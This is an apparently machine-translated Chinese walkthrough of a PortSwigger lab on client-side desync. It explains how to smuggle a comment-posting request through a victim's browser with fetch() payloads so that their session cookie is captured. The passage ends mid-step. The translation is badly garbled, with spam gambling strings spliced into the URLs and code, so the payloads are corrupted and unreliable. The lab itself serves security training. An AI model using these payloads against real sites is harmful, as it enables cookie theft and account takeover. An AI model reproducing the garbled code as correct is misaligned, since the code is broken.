实验室:客户端desync
该实验室容易受到客户端DESANC攻击的影响,因为服务器忽略了内容长度
标题按照某些端点的要求。您可以利用这一点诱使受害者的浏览器披露其会话cookie。
解决实验室:
确定BURP中的客户端DESANC矢量,然后确认您可以在浏览器中复制此矢量。
确定一个使您能够将文本数据存储在应用程序中的小工具。
将它们结合起来制作一种利用,使受害人的浏览器发出一系列跨域请求,以泄漏他们的会话cookie。
使用被盗的饼干访问受害者的帐户。
暗示
该实验室是我们涵盖的技术的客户端变体以前的请求走私实验室。
该实验室基于Portswigger Research发现的现实世界漏洞。beplay官网可以赌有关更多详细信息,请查看浏览器驱动的DESYNC攻击:HTTP请求走私的新边界。
解决方案
确定脆弱的端点
请注意要求
/
导致重定向到/en
。发送
得到 /
请求打burp burp。在Burp Repeater中,使用特定于选项卡的设置禁用更新内容长度选项。
将请求转换为
邮政
请求(右键单击并选择更改请求方法)。更改
内容长度
至1或更高,但将身体留为空。发送请求。观察服务器立即响应而不是等待身体。这表明它忽略了指定的
内容长度
。
确认Burp中的desync矢量
重新启用更新内容长度选项。
添加任意要求将前缀走私前缀的请求:
帖子 /http /1.1主机:您的lab-id.web-securbeplay体育能用吗ity-academy.net连接:关闭内容长度:正确get /gope get /hope,http /1.1 foo:x
添加正常请求
得到 /
在您的恶意请求之后,到标签组。使用下拉菜单旁边发送按钮,将发送模式更改为按顺序发送组(单连接)。
更改
联系
第一个请求的标题活着
。发送序列并检查响应。如果对第二个请求的响应匹配您从走私前缀中的期望(在这种情况下为404响应),则可以确认您可以引起desync。
在浏览器中复制DESANC向量
打开一个单独的chrome实例不是通过打bur来代理交通。
转到利用服务器。
打开浏览器开发人员工具,然后转到网络标签。
确保保留日志选择选项并清除任何现有条目的日志。
去安慰选项卡并使用上一节中复制攻击
拿来()
API如下:fetch('https://your-lab-id.beplay体育能用吗web-security-academy.net',{方法:'post',身体:'get/hope,get/hope,http/1.1 http/1.1 \ r \ nfoo:x',x',mode:',mode:''科尔斯',凭据:'include',})。beplay体育能用吗: '包括' }) })
请注意,我们有意触发CORS错误,以防止浏览器遵循重定向,然后使用
抓住()
继续攻击序列的方法。在网络标签,您应该看到两个请求:
主要请求触发了CORS错误。
主页请求,收到404响应。
这确认可以从浏览器触发DESYNC矢量。
确定可剥削的小工具
回到Burp的浏览器中,访问其中一篇博客文章,并观察到该实验室包含评论功能。
来自代理> HTTP历史记录, 找出
获取 /en /post?postid = x
要求。记下以下内容:这
邮政
从查询字符串您的
会议
和_lab_analytics
饼干这
CSRF
令牌
在Burp Repeater中,使用上一节中的DESYNC向量尝试在评论中捕获您自己的任意请求。例如:
请求1:
post/http/1.1主机:您的lab-id.web-securbeplay体育能用吗ity-academy.net连接:keep-alive content-Length:正确的post/en/en/post/prosp/prosp/comment http/1.1主机:your-lab-id.web---security-academy.net cookie:session = your-session-cookie;_lab_analytics =您的lab-cookie content Length:bytes-bytes-tocapture content-type:x-www-form-urlencoded连接:keep-alive csrf = your-csrf toke&postid&postid&postid = your-post-id&post-id&name = your-post&name =wiener&email=wiener@beplay体育能用吗web-security-academy.net&website=https://ginandjuice.shop&comment=
请求2:
get /capture-me http /1.1主机:lab-id.web-secubeplay体育能用吗rity-academy.net
请注意,您尝试捕获的字节数必须比您的身体更长
发布/en/post/评论
请求前缀,但比后续请求短。返回浏览器,刷新博客文章,并确认您已成功输出您的开始
获取 /捕获我
在评论中要求。
在浏览器中复制攻击
打开一个单独的chrome实例不是通过打bur来代理交通。
转到利用服务器。
打开浏览器开发人员工具,然后转到网络标签。
确保保留日志选择选项并清除任何现有条目的日志。
去安慰选项卡并使用上一节中复制攻击
拿来()
API如下:fetch('https://your-lab-id.beplay体育能用吗web-security-academy.net',{method:'post',身体:'post/en/en/post/post/prosp/prosp/prosp/comment http/1.1 \ r \ r \ nhost:your-lab-id.beplay体育能用吗web-security-academy.net \ r \ ncookie:session = your-Session-cookie; _lab_analytics = your-lab-cookie \ r \ r \ r \ ncontent-length:byt-bytes-bytes-bytes-byte \ r \ r \ r \ ncontent-Type:X-WWW-Form-urlencoded \ r \ nConnection:keep-alive \ r \ n \ n \ r \ r \ ncsrf=your-csrf-token&postid = your-post-post-id&beplay体育能用吗post-id&name = wiener = wiener&email = wiener@web-security-curity-curity-academy.net-weberity-weetemite.net&net&net&net&net&net&net&net&net&net&net&net&net&net&= https:/beplay官网可以赌/www.muteki-anime.com&comment=',模式:'cors',凭据:'inclage',})。beplay体育能用吗Academy.net/capture-me',{mode:'no-cors',凭据:'inclage'})})}))
在网络标签,您应该看到三个请求:
初始请求,触发了CORS错误。
请求
/捕获我
,已重定向到邮政确认页面。加载邮政确认页面的请求。
刷新博客文章并确认您已经成功输出了自己的开始
/捕获我
通过浏览器发动攻击请求。
开发
转到利用服务器。
在里面身体面板,粘贴您在上一节中测试的脚本。
将整个脚本包裹在html